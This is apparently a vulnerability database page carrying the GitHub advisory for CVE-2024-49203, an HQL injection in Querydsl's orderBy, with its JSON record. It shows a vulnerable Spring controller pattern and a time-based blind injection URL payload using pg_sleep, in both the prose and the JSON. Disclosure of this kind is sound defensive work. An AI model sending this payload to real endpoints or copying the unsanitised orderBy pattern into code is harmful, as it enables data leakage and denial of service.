GHSA-6Q3Q-6V5J-H6VG

Vulnerability from github – Published: 2024-11-27 19:00 – Updated: 2025-10-13 11:47
VLAI?
Summary
Querydsl vulnerable to HQL injection through orderBy
Details

Summary

The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.

Details

Vulnerable code may look as follows:

@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
    JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
    PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");

    OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
    JPAQuery<Test> orderedQuery = query.orderBy(order);
    return orderedQuery.fetch();
}

Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.

PoC

Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:

1) Create JPAQuery object instance:

JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);

2) Create OrderSpecifier object instance:

PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));

Where orderBy variable is user provided input.

3) order and run the query

JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();

When user goes to URL /products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id The generated query will look something like this:

select test                                                                                                                                     
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc

Environment

Library versions used in proof of concept to reproduce the vulnerability:

querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4

Impact

The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.

Severity ?
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-jpa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0.M1"
            },
            {
              "fixed": "6.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0.M1"
            },
            {
              "fixed": "6.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-jpa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.openfeign.querydsl:querydsl-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.querydsl:querydsl-jpa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.querydsl:querydsl-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-49203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-27T19:00:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier **CVE-2024-49203**.\n\n### Details\nVulnerable code may look as follows:\n```\n@GetMapping\npublic List\u003cTest\u003e getProducts(@RequestParam(\"orderBy\") String orderBy) {\n    JPAQuery\u003cTest\u003e query = new JPAQuery\u003cTest\u003e(entityManager).from(test);\n    PathBuilder\u003cTest\u003e pathBuilder = new PathBuilder\u003c\u003e(Test.class, \"test\");\n\n    OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));\n    JPAQuery\u003cTest\u003e orderedQuery = query.orderBy(order);\n    return orderedQuery.fetch();\n}\n```\nWhere vulnerability is either caused by ```pathBuilder.get(orderBy)``` or the ```orderBy(order)``` method itself, based on where the security checks are expected.\n\n### PoC\nFull POC code is available in repository:\nhttps://github.com/CSIRTTrizna/CVE-2024-49203/\nWhen we take a look at source code shown in Details section the functionality is as follows:\n\n1) Create JPAQuery object instance:\n```\nJPAQuery\u003cTest\u003e query = new JPAQuery\u003cTest\u003e(entityManager).from(test);\n```\n\n2) Create OrderSpecifier object instance:\n```\nPathBuilder\u003cTest\u003e pathBuilder = new PathBuilder\u003c\u003e(Test.class, \"test\");\nOrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));\n```\nWhere orderBy variable is user provided input.\n\n3) order and run the query\n```\nJPAQuery\u003cTest\u003e orderedQuery = query.orderBy(order);\norderedQuery.fetch();\n```\n\nWhen user goes to URL \n```/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))=\u00272\u0027+ORDER+BY+t.id```\nThe generated query will look something like this:\n```\nselect test                                                                                                                                     \nfrom Test test\norder by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))=\u00272\u0027 ORDER BY t.id asc\n```\n\n#### Environment\n\nLibrary versions used in proof of concept to reproduce the vulnerability:\n```\nquerydsl-jpa: 6.8.0\nquerydsl-apt: 6.8.0\nhibernate-core: 6.1.1.Final\njakarta.persistence-api: 3.1.0\npostgresql: 42.7.4\n```\n\n### Impact\nThe vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.",
  "id": "GHSA-6q3q-6v5j-h6vg",
  "modified": "2025-10-13T11:47:54Z",
  "published": "2024-11-27T19:00:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenFeign/querydsl/security/advisories/GHSA-6q3q-6v5j-h6vg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/querydsl/querydsl/issues/3757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CSIRTTrizna/CVE-2024-49203"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenFeign/querydsl"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenFeign/querydsl/releases/tag/5.6.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenFeign/querydsl/releases/tag/6.10.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/querydsl/querydsl/releases/tag/QUERYDSL_5_1_0"
    },
    {
      "type": "WEB",
      "url": "https://www.csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Querydsl vulnerable to HQL injection through orderBy"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.